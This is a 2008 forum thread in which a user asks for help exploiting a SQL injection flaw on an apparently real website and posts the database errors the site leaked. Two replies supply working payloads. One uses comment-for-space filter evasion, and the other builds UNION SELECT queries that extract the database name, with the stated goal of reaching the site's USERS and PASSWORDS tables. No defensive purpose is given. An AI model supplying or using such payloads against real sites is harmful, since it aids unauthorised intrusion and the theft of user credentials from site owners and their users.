|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 73
Members: 0
Total: 73
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
sql inj help ? |
|
Posted: Fri Aug 01, 2008 11:01 pm |
|
|
kr0k0 |
Advanced user |
|
|
Joined: Jan 26, 2008 |
Posts: 128 |
|
|
|
|
|
|
|
i have a problem in this request SQL . . look on the URL link
when i put like that ; index.php?id=564"
i got this error SQL . . . on the URL :
Code: | index.php?pg=err0rp4ge&call3r=bdd.php&mess4ge=You+have+an+error+in+your+SQL+syntax%3B+check+the+manual+that+corresponds+to+your+MySQL+server+version+for+the+right+syntax+to+use+near+%27%27%29id+FROM+article+WHERE+art_id+%3D+3815%27%27+at+line+1%3B+last+operation%3A+query%28%29%3A+%5BSELECT+ifnull%28+art_aliasid%2C+3815%27%29id+FROM+article+WHERE+art_id+%3D+3815%27%5D |
( /* , -- , order+x , groups+by+x , and+1=1 , or+1=1 , not working )
but i have try this :
Code: | index.php?id=3815or(@@version=@@version) |
i got :
Code: | mess4ge=F U NC T I O N +groningermus.3815or+does+not+exist%3B+last+operation%3A+query%28%29%3A+%5BSELECT+ifnull%28+art_aliasid%2C+3815or%28%40%40version%3D%40%40version%29%29id+FROM+article+WHERE+art_id+%3D+3815or%28%40%40version%3D%40%40version%29%5D |
and also i have try , /index.php?id=3815or+and+1=1
Code: | mess4ge=Unknown+column+%273815or%27+in+%27field+list%27%3B+last+operation%3A+query%28%29%3A+%5BSELECT+ifnull%28+art_aliasid%2C+3815or+and+1%3D1%29id+FROM+article+WHERE+art_id+%3D+3815or+and+1%3D1%5D |
thank's . . . |
|
|
|
|
|
|
|
|
Posted: Sat Aug 02, 2008 4:16 pm |
|
|
oniric |
Advanced user |
|
|
Joined: Jul 24, 2008 |
Posts: 65 |
|
|
|
|
|
|
|
Try to use /**/ instead of a space like
id=3504/**/or/**/1
or
id=3504/**/or/**/1=1 |
|
|
|
|
Posted: Mon Aug 04, 2008 12:43 pm |
|
|
0xbadfaceX |
Regular user |
|
|
Joined: Aug 01, 2008 |
Posts: 12 |
Location: .bashrc$> |
|
|
|
|
|
|
First you have to complete the first request SQL, and then tries to complete the second request SQL,
unfortunately, I don't know the table 'USERS' I saw your first request on the table 'article' then it is a u to found on the second table displayed for the USERS and PASSWORDS,
So I tried to see the DB name given by the 'database ()', then normally you find the name of DB on the URL, like ur examples ...
Code: | index.php?id=3815)art_id+FROM+article+WHERE+art_id=3815+OR+1/**/UNION/**/SELECT/**/unhex(hex(database()))/* |
Code: | index.php?id=3815)art_id+FROM+article+WHERE+art_id=3815+AND+1=1/**/UNION/**/SELECT/**/unhex(hex(database()))/* |
0xbadfaceX. |
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|